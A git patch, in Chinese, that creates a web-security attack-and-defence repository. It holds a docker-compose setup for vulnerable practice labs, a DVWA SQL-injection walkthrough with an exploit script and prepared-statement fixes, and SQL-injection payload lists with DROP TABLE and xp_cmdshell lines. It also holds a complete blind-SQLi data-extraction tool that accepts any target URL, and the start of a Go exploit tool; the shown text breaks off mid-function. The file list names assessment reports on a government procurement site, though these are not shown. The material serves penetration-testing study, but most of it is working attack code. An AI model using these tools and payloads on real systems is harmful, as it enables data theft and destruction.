From cda31e86c791ee42a82ace7d35659401e320581f Mon Sep 17 00:00:00 2001
From: hao <hao@users.noreply.git.hk.hao.work>
Date: Mon, 16 Mar 2026 17:10:23 -0700
Subject: [PATCH] =?UTF-8?q?=E5=88=9D=E5=A7=8B=E5=8C=96:=20Web=E5=AE=89?=
 =?UTF-8?q?=E5=85=A8=E6=94=BB=E9=98=B2=E7=9F=A5=E8=AF=86=E5=BA=93?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs
- SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go
- XSS工具: xss-fuzzer.py, xss-scanner.go
- 认证攻击: web-brute.py, jwt-cracker.py
- 服务端安全: port-scanner.py, tls-scanner.py
- 防御配置: nginx-hardening.conf
- 案例研究: 福建政采网安全评估报告 (13份)
- 同步脚本: sync-gitea.sh
---
 00-environments/docker-compose.yml            |  80 ++++
 01-sql-injection/exploitation/dvwa-sqli.md    | 261 +++++++++++
 01-sql-injection/payloads/mssql.txt           |  29 ++
 01-sql-injection/payloads/mysql.txt           |  57 +++
 01-sql-injection/payloads/postgres.txt        |  27 ++
 01-sql-injection/tools/blind-sqli.py          | 387 ++++++++++++++++
 01-sql-injection/tools/sqli-exploit.go        | 324 +++++++++++++
 01-sql-injection/tools/sqli-scanner.py        | 363 +++++++++++++++
 02-xss/tools/xss-fuzzer.py                    | 409 +++++++++++++++++
 02-xss/tools/xss-scanner.go                   | 289 ++++++++++++
 .../bruteforce/tools/web-brute.py             | 313 +++++++++++++
 03-authentication/jwt/tools/jwt-cracker.py    | 387 ++++++++++++++++
 .../scanning/tools/port-scanner.py            | 261 +++++++++++
 04-server-security/tls/tools/tls-scanner.py   | 340 ++++++++++++++
 05-defense/hardening/nginx-hardening.conf     | 184 ++++++++
 .../fujian-gov-procurement/lessons-learned.md | 110 +++++
 .../reports/advanced_vulnerability_report.md  |  92 ++++
 .../reports/backend_api_security_analysis.md  |  27 ++
 .../reports/deep_penetration_test_report.md   | 170 +++++++
 .../reports/extended_web_service_security.md  |  31 ++
 .../reports/frontend_security_analysis.md     |  31 ++
 .../reports/full_guide_audit_report.md        | 430 ++++++++++++++++++
 .../reports/idor_subdomain_report.md          | 158 +++++++
 .../infrastructure_and_password_security.md   |  31 ++
 .../master_security_assessment_summary.md     |  90 ++++
 .../reports/privilege_escalation_report.md    | 185 ++++++++
 .../reports/security_assessment_report.md     | 322 +++++++++++++
 .../fujian-gov-procurement/reports/task.md    |  41 ++
 .../reports/vulnerability_crossref_report.md  | 321 +++++++++++++
 .../scripts/http_fuzz.sh                      |  21 +
 .../scripts/port_scan.py                      |  30 ++
 README.md                                     |  95 ++++
 scripts/sync-gitea.sh                         | 176 +++++++
 33 files changed, 6072 insertions(+)
 create mode 100644 00-environments/docker-compose.yml
 create mode 100644 01-sql-injection/exploitation/dvwa-sqli.md
 create mode 100644 01-sql-injection/payloads/mssql.txt
 create mode 100644 01-sql-injection/payloads/mysql.txt
 create mode 100644 01-sql-injection/payloads/postgres.txt
 create mode 100644 01-sql-injection/tools/blind-sqli.py
 create mode 100644 01-sql-injection/tools/sqli-exploit.go
 create mode 100644 01-sql-injection/tools/sqli-scanner.py
 create mode 100644 02-xss/tools/xss-fuzzer.py
 create mode 100644 02-xss/tools/xss-scanner.go
 create mode 100644 03-authentication/bruteforce/tools/web-brute.py
 create mode 100644 03-authentication/jwt/tools/jwt-cracker.py
 create mode 100644 04-server-security/scanning/tools/port-scanner.py
 create mode 100644 04-server-security/tls/tools/tls-scanner.py
 create mode 100644 05-defense/hardening/nginx-hardening.conf
 create mode 100644 06-case-studies/fujian-gov-procurement/lessons-learned.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/advanced_vulnerability_report.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/backend_api_security_analysis.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/deep_penetration_test_report.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/extended_web_service_security.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/frontend_security_analysis.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/full_guide_audit_report.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/idor_subdomain_report.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/infrastructure_and_password_security.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/master_security_assessment_summary.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/privilege_escalation_report.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/security_assessment_report.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/task.md
 create mode 100644 06-case-studies/fujian-gov-procurement/reports/vulnerability_crossref_report.md
 create mode 100644 06-case-studies/fujian-gov-procurement/scripts/http_fuzz.sh
 create mode 100644 06-case-studies/fujian-gov-procurement/scripts/port_scan.py
 create mode 100644 README.md
 create mode 100755 scripts/sync-gitea.sh

diff --git a/00-environments/docker-compose.yml b/00-environments/docker-compose.yml
new file mode 100644
index 00000000..04095fee
--- /dev/null
+++ b/00-environments/docker-compose.yml
@@ -0,0 +1,80 @@
+version: '3.8'
+
+services:
+  dvwa:
+    image: vulnerables/web-dvwa:latest
+    container_name: dvwa
+    ports:
+      - "8080:80"
+    environment:
+      - DB_SERVER=db
+      - DB_USER=dvwa
+      - DB_PASS=dvwa
+      - DB_NAME=dvwa
+    depends_on:
+      - dvwa-db
+    networks:
+      - vulnlab
+    restart: unless-stopped
+
+  dvwa-db:
+    image: mysql:5.7
+    container_name: dvwa-db
+    environment:
+      - MYSQL_ROOT_PASSWORD=root
+      - MYSQL_DATABASE=dvwa
+      - MYSQL_USER=dvwa
+      - MYSQL_PASSWORD=dvwa
+    networks:
+      - vulnlab
+    restart: unless-stopped
+
+  webgoat:
+    image: webgoat/webgoat:latest
+    container_name: webgoat
+    ports:
+      - "8081:8080"
+      - "9090:9090"
+    networks:
+      - vulnlab
+    restart: unless-stopped
+
+  pikachu:
+    image: area393/pikachu:latest
+    container_name: pikachu
+    ports:
+      - "8082:80"
+    networks:
+      - vulnlab
+    restart: unless-stopped
+
+  bwapp:
+    image: raesene/bwapp:latest
+    container_name: bwapp
+    ports:
+      - "8083:80"
+    networks:
+      - vulnlab
+    restart: unless-stopped
+
+  sqlilabs:
+    image: acgpiano/sqli-labs:latest
+    container_name: sqlilabs
+    ports:
+      - "8084:80"
+    networks:
+      - vulnlab
+    restart: unless-stopped
+
+  xss-labs:
+    image: c0ny1/xss-labs:latest
+    container_name: xss-labs
+    ports:
+      - "8085:80"
+    networks:
+      - vulnlab
+    restart: unless-stopped
+
+networks:
+  vulnlab:
+    driver: bridge
diff --git a/01-sql-injection/exploitation/dvwa-sqli.md b/01-sql-injection/exploitation/dvwa-sqli.md
new file mode 100644
index 00000000..15bfb377
--- /dev/null
+++ b/01-sql-injection/exploitation/dvwa-sqli.md
@@ -0,0 +1,261 @@
+# DVWA SQL 注入漏洞利用
+
+## 1. 漏洞概述
+
+**靶场**: DVWA (Damn Vulnerable Web Application)  
+**漏洞类型**: SQL 注入  
+**难度级别**: Low / Medium / High / Impossible  
+**影响**: 可提取数据库所有数据，包括用户凭证
+
+## 2. 环境准备
+
+### 2.1 启动靶场
+
+```bash
+cd /Users/x/websafe/00-environments
+docker-compose up -d dvwa
+```
+
+### 2.2 访问地址
+
+- URL: `http://localhost:8080/vulnerabilities/sqli/`
+- 默认账户: `admin / password`
+
+### 2.3 数据库结构
+
+```sql
+dvwa.users
+├── user_id (int)
+├── first_name (varchar)
+├── last_name (varchar)
+├── user (varchar)
+├── password (varchar)
+├── avatar (varchar)
+├── last_login (timestamp)
+└── failed_login (int)
+```
+
+## 3. Low 级别 - 经典注入
+
+### 3.1 漏洞代码
+
+```php
+<?php
+$id = $_GET['id'];
+$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
+$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
+?>
+```
+
+### 3.2 手动利用
+
+#### 步骤 1: 确认注入点
+
+```
+?id=1' AND '1'='1    // 正常显示
+?id=1' AND '1'='2    // 无数据显示 → 存在注入
+```
+
+#### 步骤 2: 确定列数
+
+```
+?id=1' ORDER BY 1-- -    // 正常
+?id=1' ORDER BY 2-- -    // 正常
+?id=1' ORDER BY 3-- -    // 报错 → 2列
+```
+
+#### 步骤 3: UNION 注入
+
+```
+?id=-1' UNION SELECT 1,2-- -
+```
+
+#### 步骤 4: 提取数据库信息
+
+```
+?id=-1' UNION SELECT database(),user()-- -
+// 结果: dvwa, dvwa@localhost
+```
+
+#### 步骤 5: 提取表名
+
+```
+?id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
+// 结果: guestbook,users
+```
+
+#### 步骤 6: 提取列名
+
+```
+?id=-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- -
+// 结果: user_id,first_name,last_name,user,password,avatar...
+```
+
+#### 步骤 7: 提取用户数据
+
+```
+?id=-1' UNION SELECT user,password FROM users-- -
+// 结果:
+// admin 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password)
+// gordonb e99a18c428cb38d5f260853678922e03 (MD5: abc123)
+```
+
+### 3.3 工具利用
+
+```bash
+# 使用扫描器检测
+python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
+    -u "http://localhost:8080/vulnerabilities/sqli/" \
+    -p id \
+    -c "PHPSESSID=your_session;security=low"
+
+# 使用盲注工具提取
+python3 /Users/x/websafe/01-sql-injection/tools/blind-sqli.py \
+    -u "http://localhost:8080/vulnerabilities/sqli/" \
+    -p id \
+    -c "PHPSESSID=your_session;security=low" \
+    --technique bool \
+    --extract user
+
+# 使用高性能Go工具
+cd /Users/x/websafe/01-sql-injection/tools
+go run sqli-exploit.go \
+    -u "http://localhost:8080/vulnerabilities/sqli/" \
+    -p id \
+    --technique time \
+    --extract user
+```
+
+## 4. Medium 级别 - POST 注入
+
+### 4.1 漏洞代码
+
+```php
+<?php
+$id = $_POST['id'];
+$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
+$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
+?>
+```
+
+### 4.2 利用方式
+
+- 使用 POST 方法
+- 数字型注入（无需引号）
+- `mysqli_real_escape_string` 不防护数字型
+
+```
+POST /vulnerabilities/sqli/ HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+
+id=1 UNION SELECT user,password FROM users-- -
+```
+
+### 4.3 工具利用
+
+```bash
+python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \
+    -u "http://localhost:8080/vulnerabilities/sqli/" \
+    -m POST \
+    -d "id=1" \
+    -c "PHPSESSID=your_session;security=medium"
+```
+
+## 5. High 级别 - 限制返回
+
+### 5.1 漏洞代码
+
+```php
+<?php
+$id = $_SESSION['id'];
+$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1";
+$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
+?>
+```
+
+### 5.2 利用方式
+
+- 通过 Session 传递参数
+- 使用 LIMIT 1 限制
+- 可用 `#` 或 `-- -` 绕过 LIMIT
+
+```
+?id=1' UNION SELECT user,password FROM users#
+```
+
+## 6. Impossible 级别 - 安全实现
+
+### 6.1 安全代码
+
+```php
+<?php
+$id = $_GET['id'];
+$id = stripslashes($id);
+$id = mysql_real_escape_string($id);
+
+if (is_numeric($id)) {
+    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
+    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
+}
+?>
+```
+
+### 6.2 防护措施
+
+1. **CSRF Token** - 防止跨站请求伪造
+2. **预处理语句** - 使用 PDO/mysqli prepared statements
+3. **输入验证** - `is_numeric()` 验证
+4. **输出转义** - htmlspecialchars()
+
+## 7. 完整利用脚本
+
+```python
+#!/usr/bin/env python3
+import requests
+
+target = "http://localhost:8080/vulnerabilities/sqli/"
+cookies = {"PHPSESSID": "your_session", "security": "low"}
+
+payload = "-1' UNION SELECT user,password FROM users-- -"
+
+r = requests.get(f"{target}?id={payload}", cookies=cookies)
+print(r.text)
+```
+
+## 8. 防御方案
+
+### 8.1 预处理语句 (PDO)
+
+```php
+<?php
+$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ?");
+$stmt->execute([$_GET['id']]);
+?>
+```
+
+### 8.2 mysqli 预处理
+
+```php
+<?php
+$stmt = $mysqli->prepare("SELECT * FROM users WHERE user_id = ?");
+$stmt->bind_param("s", $_GET['id']);
+$stmt->execute();
+?>
+```
+
+### 8.3 WAF 规则
+
+```nginx
+# ModSecurity 规则
+SecRule ARGS "@rx (?i:union.*select|select.*from|insert.*into|delete.*from)" \
+    "id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"
+```
+
+## 9. 总结
+
+| 级别 | 注入类型 | 防护 | 难度 |
+|------|---------|------|------|
+| Low | GET 字符串型 | 无 | 简单 |
+| Medium | POST 数字型 | 转义 | 中等 |
+| High | Session + LIMIT | 限制返回 | 中等 |
+| Impossible | 无 | 预处理 + CSRF | 安全 |
\ No newline at end of file
diff --git a/01-sql-injection/payloads/mssql.txt b/01-sql-injection/payloads/mssql.txt
new file mode 100644
index 00000000..dea2a8c9
--- /dev/null
+++ b/01-sql-injection/payloads/mssql.txt
@@ -0,0 +1,29 @@
+' OR '1'='1
+' OR '1'='1'-- -
+' OR 1=1--
+1' OR '1'='1
+admin'--
+' AND 1=1--
+' UNION SELECT NULL--
+' UNION SELECT 1,2,3--
+' UNION SELECT username,password,3 FROM users--
+'; DROP TABLE users--
+' WAITFOR DELAY '0:0:5'--
+' WAITFOR DELAY '0:0:5'-- -
+'; IF 1=1 WAITFOR DELAY '0:0:5'--
+'; IF (SELECT 1)=1 WAITFOR DELAY '0:0:5'--
+' AND 1=CONVERT(int,(SELECT @@version))--
+' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
+' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))--
+' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
+' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
+' UNION SELECT NULL,username+'|'+password,NULL FROM users--
+' EXEC xp_cmdshell('whoami')--
+'; EXEC xp_cmdshell('dir')--
+' EXEC sp_executesql N'SELECT 1'--
+1 AND 1=1
+1 AND 1=2
+1 OR 1=1
+') OR ('1'='1
+') AND 1=1--
+') AND 1=2--
\ No newline at end of file
diff --git a/01-sql-injection/payloads/mysql.txt b/01-sql-injection/payloads/mysql.txt
new file mode 100644
index 00000000..f7ee789c
--- /dev/null
+++ b/01-sql-injection/payloads/mysql.txt
@@ -0,0 +1,57 @@
+' OR '1'='1
+' OR '1'='1'-- -
+' OR '1'='1'/*
+' OR 1=1--
+' OR 1=1-- -
+' OR 1=1/*
+1' OR '1'='1
+1' OR '1'='1'-- -
+1' OR '1'='1'/*
+admin'--
+admin'-- -
+admin'/*
+' AND 1=1--
+' AND 1=1-- -
+' AND 1=2--
+' AND 1=2-- -
+' UNION SELECT NULL--
+' UNION SELECT NULL-- -
+' UNION SELECT NULL, NULL--
+' UNION SELECT NULL, NULL, NULL--
+' UNION SELECT 1,2,3--
+' UNION SELECT username,password,3 FROM users--
+' UNION ALL SELECT NULL--
+' UNION ALL SELECT 1,2,3--
+1' ORDER BY 1-- -
+1' ORDER BY 2-- -
+1' ORDER BY 3-- -
+1' ORDER BY 4-- -
+-1' UNION SELECT 1,2,3-- -
+-1' UNION SELECT username,password,3 FROM users-- -
+' AND SLEEP(5)--
+' AND SLEEP(5)-- -
+' AND IF(1=1,SLEEP(5),0)--
+' AND IF(1=1,SLEEP(5),0)-- -
+' AND BENCHMARK(10000000,SHA1('test'))--
+' AND BENCHMARK(10000000,SHA1('test'))-- -
+' WAITFOR DELAY '0:0:5'--
+' WAITFOR DELAY '0:0:5'-- -
+' AND pg_sleep(5)--
+' AND pg_sleep(5)-- -
+'; DROP TABLE users--
+'; DROP TABLE users-- -
+' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
+' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--
+' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1)--
+' AND (SELECT * FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
+1 AND 1=1
+1 AND 1=2
+1 OR 1=1
+1' AND '1'='1
+1' AND '1'='2
+" OR "1"="1
+" OR 1=1--
+') OR ('1'='1
+') OR ('1'='1'-- -
+') AND 1=1--
+') AND 1=2--
\ No newline at end of file
diff --git a/01-sql-injection/payloads/postgres.txt b/01-sql-injection/payloads/postgres.txt
new file mode 100644
index 00000000..4257ac05
--- /dev/null
+++ b/01-sql-injection/payloads/postgres.txt
@@ -0,0 +1,27 @@
+' OR '1'='1
+' OR '1'='1'-- -
+' OR 1=1--
+1' OR '1'='1
+admin'--
+' AND 1=1--
+' UNION SELECT NULL--
+' UNION SELECT 1,2,3--
+' UNION SELECT username,password,3 FROM users--
+'; DROP TABLE users--
+' AND pg_sleep(5)--
+' AND pg_sleep(5)-- -
+'; SELECT pg_sleep(5)--
+' UNION SELECT NULL,version(),NULL--
+' UNION SELECT NULL,current_database(),NULL--
+' UNION SELECT NULL,current_user,NULL--
+' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
+' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
+' AND 1=CAST((SELECT version()) AS INT)--
+' AND 1=CAST((SELECT current_database()) AS INT)--
+' UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'--
+1 AND 1=1
+1 AND 1=2
+1 OR 1=1
+') OR ('1'='1
+') AND 1=1--
+') AND 1=2--
\ No newline at end of file
diff --git a/01-sql-injection/tools/blind-sqli.py b/01-sql-injection/tools/blind-sqli.py
new file mode 100644
index 00000000..a0b878f6
--- /dev/null
+++ b/01-sql-injection/tools/blind-sqli.py
@@ -0,0 +1,387 @@
+#!/usr/bin/env python3
+"""
+Blind SQL Injection Exploit Tool
+盲注利用工具
+
+支持:
+- 时间盲注 (Time-based Blind)
+- 布尔盲注 (Boolean-based Blind)
+- 自动数据提取
+- 多线程加速
+
+Usage:
+    # 时间盲注提取数据库名
+    python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --dbms mysql
+
+    # 布尔盲注提取表名
+    python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique bool --query "SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1"
+
+    # 提取当前数据库用户
+    python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --extract user
+"""
+
+import argparse
+import requests
+import time
+import string
+import urllib.parse
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from typing import Callable, Optional, List
+import sys
+
+
+class Colors:
+    RED = "\033[91m"
+    GREEN = "\033[92m"
+    YELLOW = "\033[93m"
+    BLUE = "\033[94m"
+    CYAN = "\033[96m"
+    END = "\033[0m"
+    BOLD = "\033[1m"
+
+
+class BlindSQLi:
+    def __init__(
+        self,
+        url: str,
+        param: str,
+        method: str = "GET",
+        data: dict = None,
+        cookies: dict = None,
+        delay: float = 1.0,
+        threads: int = 1,
+    ):
+        self.url = url
+        self.param = param
+        self.method = method
+        self.data = data or {}
+        self.cookies = cookies or {}
+        self.delay = delay
+        self.threads = threads
+        self.session = requests.Session()
+        self.session.headers.update(
+            {
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+            }
+        )
+        self.charset = string.ascii_letters + string.digits + "_-@.{}"
+
+        self.mysql_payloads = {
+            "time": {
+                "if": "1' AND IF(({condition}),SLEEP({delay}),0)-- -",
+                "case": "1' AND (SELECT CASE WHEN ({condition}) THEN (SELECT SLEEP({delay})) ELSE 0 END)-- -",
+            },
+            "bool": {
+                "if": "1' AND IF({condition},1,0)-- -",
+                "and": "1' AND {condition}-- -",
+            },
+        }
+
+        self.mssql_payloads = {
+            "time": {
+                "if": "1'; IF ({condition}) WAITFOR DELAY '0:0:{delay}'-- -",
+            },
+            "bool": {
+                "if": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
+            },
+        }
+
+        self.pg_payloads = {
+            "time": {
+                "case": "1' AND CASE WHEN ({condition}) THEN (SELECT pg_sleep({delay})) ELSE pg_sleep(0) END-- -",
+            },
+            "bool": {
+                "case": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -",
+            },
+        }
+
+        self.payloads = {
+            "mysql": self.mysql_payloads,
+            "mssql": self.mssql_payloads,
+            "postgresql": self.pg_payloads,
+        }
+
+        self.extract_queries = {
+            "mysql": {
+                "user": "SELECT user()",
+                "database": "SELECT database()",
+                "version": "SELECT version()",
+                "tables": "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()",
+                "columns": "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table}'",
+                "data": "SELECT {column} FROM {table} LIMIT {offset},1",
+            },
+            "mssql": {
+                "user": "SELECT SYSTEM_USER",
+                "database": "SELECT DB_NAME()",
+                "version": "SELECT @@version",
+            },
+            "postgresql": {
+                "user": "SELECT current_user",
+                "database": "SELECT current_database()",
+                "version": "SELECT version()",
+            },
+        }
+
+    def _send_request(self, payload: str) -> tuple:
+        """发送请求并返回(响应内容, 响应时间)"""
+        test_data = self.data.copy()
+        test_data[self.param] = payload
+
+        try:
+            start = time.time()
+            if self.method.upper() == "GET":
+                params = urllib.parse.urlencode(test_data)
+                full_url = f"{self.url}?{params}"
+                resp = self.session.get(
+                    full_url, cookies=self.cookies, timeout=30, verify=False
+                )
+            else:
+                resp = self.session.post(
+                    self.url,
+                    data=test_data,
+                    cookies=self.cookies,
+                    timeout=30,
+                    verify=False,
+                )
+            elapsed = time.time() - start
+            return resp.text, elapsed
+        except Exception as e:
+            return None, 0
+
+    def test_condition_time(self, condition: str, dbms: str = "mysql") -> bool:
+        """使用时间盲注测试条件"""
+        payloads = self.payloads.get(dbms, self.mysql_payloads)
+        template = payloads["time"].get("if") or payloads["time"].get("case")
+        if not template:
+            return False
+
+        payload = template.format(condition=condition, delay=int(self.delay))
+        _, elapsed = self._send_request(payload)
+        return elapsed >= self.delay - 0.5
+
+    def test_condition_bool(
+        self,
+        condition: str,
+        true_indicator: str = None,
+        false_indicator: str = None,
+        dbms: str = "mysql",
+    ) -> bool:
+        """使用布尔盲注测试条件"""
+        payloads = self.payloads.get(dbms, self.mysql_payloads)
+        template = payloads["bool"].get("if") or payloads["bool"].get("and")
+        if not template:
+            return False
+
+        payload = template.format(condition=condition)
+        response, _ = self._send_request(payload)
+
+        if not response:
+            return False
+
+        if true_indicator and false_indicator:
+            return true_indicator.lower() in response.lower()
+
+        payload_false = template.format(condition="1=0")
+        response_false, _ = self._send_request(payload_false)
+
+        if not response_false:
+            return False
+
+        return abs(len(response) - len(response_false)) > 50
+
+    def binary_search_char(
+        self,
+        position: int,
+        query: str,
+        technique: str = "time",
+        dbms: str = "mysql",
+        true_indicator: str = None,
+    ) -> Optional[str]:
+        """二分法查找字符"""
+        low, high = 32, 126
+
+        test_func = (
+            self.test_condition_time
+            if technique == "time"
+            else self.test_condition_bool
+        )
+
+        while low <= high:
+            mid = (low + high) // 2
+            condition = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}"
+
+            if technique == "bool":
+                result = test_func(condition, true_indicator, None, dbms)
+            else:
+                result = test_func(condition, dbms)
+
+            if result:
+                low = mid + 1
+            else:
+                high = mid - 1
+
+        if low > 32:
+            condition = f"ASCII(SUBSTRING(({query}),{position},1))={low - 1}"
+            if technique == "bool":
+                result = test_func(condition, true_indicator, None, dbms)
+            else:
+                result = test_func(condition, dbms)
+
+            if result:
+                return chr(low - 1)
+
+        return None
+
+    def extract_string(
+        self,
+        query: str,
+        technique: str = "time",
+        dbms: str = "mysql",
+        max_length: int = 100,
+        true_indicator: str = None,
+    ) -> str:
+        """提取字符串"""
+        result = []
+
+        print(f"\n{Colors.CYAN}[*] 开始提取数据: {query}{Colors.END}")
+        print(f"{Colors.CYAN}[*] 技术: {technique}, 数据库: {dbms}{Colors.END}\n")
+
+        for pos in range(1, max_length + 1):
+            char = self.binary_search_char(pos, query, technique, dbms, true_indicator)
+
+            if char is None:
+                break
+
+            result.append(char)
+            current = "".join(result)
+            print(
+                f"\r{Colors.GREEN}[+] 已提取: {current}{Colors.END}", end="", flush=True
+            )
+
+        print()
+        return "".join(result)
+
+    def extract_length(
+        self, query: str, technique: str = "time", dbms: str = "mysql"
+    ) -> int:
+        """提取字符串长度"""
+        for length in range(1, 1000):
+            condition = f"LENGTH(({query}))={length}"
+
+            if technique == "time":
+                if self.test_condition_time(condition, dbms):
+                    return length
+            else:
+                if self.test_condition_bool(condition, dbms=dbms):
+                    return length
+
+        return 0
+
+    def auto_extract(
+        self, target: str, dbms: str = "mysql", technique: str = "time"
+    ) -> str:
+        """自动提取常用信息"""
+        queries = self.extract_queries.get(dbms, self.extract_queries["mysql"])
+
+        if target not in queries:
+            self._print("ERROR", f"未知的提取目标: {target}")
+            return ""
+
+        query = queries[target]
+        return self.extract_string(query, technique, dbms)
+
+    def _print(self, level: str, msg: str):
+        colors = {
+            "INFO": Colors.BLUE,
+            "SUCCESS": Colors.GREEN,
+            "WARNING": Colors.YELLOW,
+            "ERROR": Colors.RED,
+        }
+        print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Blind SQL Injection Exploit Tool")
+    parser.add_argument("-u", "--url", required=True, help="目标URL")
+    parser.add_argument("-p", "--param", required=True, help="注入参数")
+    parser.add_argument(
+        "-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
+    )
+    parser.add_argument("-d", "--data", help="POST数据")
+    parser.add_argument("-c", "--cookie", help="Cookie")
+    parser.add_argument(
+        "--technique", default="time", choices=["time", "bool"], help="盲注技术"
+    )
+    parser.add_argument(
+        "--dbms",
+        default="mysql",
+        choices=["mysql", "mssql", "postgresql"],
+        help="数据库类型",
+    )
+    parser.add_argument("--delay", type=float, default=1.0, help="时间盲注延迟(秒)")
+    parser.add_argument("--query", help="自定义SQL查询")
+    parser.add_argument(
+        "--extract",
+        choices=["user", "database", "version", "tables", "columns"],
+        help="自动提取信息",
+    )
+    parser.add_argument("--true-indicator", help="布尔盲注真值指示器")
+    parser.add_argument("-t", "--threads", type=int, default=1, help="线程数")
+
+    args = parser.parse_args()
+
+    requests.packages.urllib3.disable_warnings()
+
+    data = {}
+    if args.data:
+        for pair in args.data.split("&"):
+            if "=" in pair:
+                k, v = pair.split("=", 1)
+                data[k] = v
+
+    cookies = {}
+    if args.cookie:
+        for pair in args.cookie.split(";"):
+            if "=" in pair:
+                k, v = pair.strip().split("=", 1)
+                cookies[k] = v
+
+    exploit = BlindSQLi(
+        url=args.url,
+        param=args.param,
+        method=args.method,
+        data=data,
+        cookies=cookies,
+        delay=args.delay,
+        threads=args.threads,
+    )
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    print(f"{Colors.BOLD}Blind SQL Injection Exploit Tool{Colors.END}")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+    if args.query:
+        result = exploit.extract_string(
+            args.query, args.technique, args.dbms, true_indicator=args.true_indicator
+        )
+        print(f"\n{Colors.GREEN}[+] 结果: {result}{Colors.END}")
+
+    elif args.extract:
+        result = exploit.auto_extract(args.extract, args.dbms, args.technique)
+        print(f"\n{Colors.GREEN}[+] {args.extract}: {result}{Colors.END}")
+
+    else:
+        print(
+            f"{Colors.YELLOW}请使用 --query 或 --extract 指定要提取的数据{Colors.END}"
+        )
+        print(f"\n示例:")
+        print(f"  --extract user       提取当前用户")
+        print(f"  --extract database   提取当前数据库")
+        print(f"  --extract version    提取数据库版本")
+        print(f'  --query "SELECT password FROM users LIMIT 1"')
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/01-sql-injection/tools/sqli-exploit.go b/01-sql-injection/tools/sqli-exploit.go
new file mode 100644
index 00000000..6bd4ba53
--- /dev/null
+++ b/01-sql-injection/tools/sqli-exploit.go
@@ -0,0 +1,324 @@
+// sqli-exploit.go - 高性能SQL注入利用工具
+package main
+
+import (
+	"flag"
+	"fmt"
+	"io"
+	"net/http"
+	"net/url"
+	"strings"
+	"sync"
+	"time"
+)
+
+type SQLiExploit struct {
+	Client    *http.Client
+	TargetURL string
+	Method    string
+	Param     string
+	Threads   int
+	Timeout   time.Duration
+}
+
+type InjectionResult struct {
+	Payload     string
+	VulnType    string
+	DBMS        string
+	ResponseLen int
+}
+
+var (
+	colorRed    = "\033[91m"
+	colorGreen  = "\033[92m"
+	colorYellow = "\033[93m"
+	colorBlue   = "\033[94m"
+	colorCyan   = "\033[96m"
+	colorBold   = "\033[1m"
+	colorEnd    = "\033[0m"
+)
+
+func NewSQLiExploit(target, method, param string, threads int, timeout time.Duration) *SQLiExploit {
+	return &SQLiExploit{
+		Client: &http.Client{
+			Timeout: timeout,
+			CheckRedirect: func(req *http.Request, via []*http.Request) error {
+				return http.ErrUseLastResponse
+			},
+		},
+		TargetURL: target,
+		Method:    method,
+		Param:     param,
+		Threads:   threads,
+		Timeout:   timeout,
+	}
+}
+
+func (s *SQLiExploit) SendRequest(payload string) (string, int, error) {
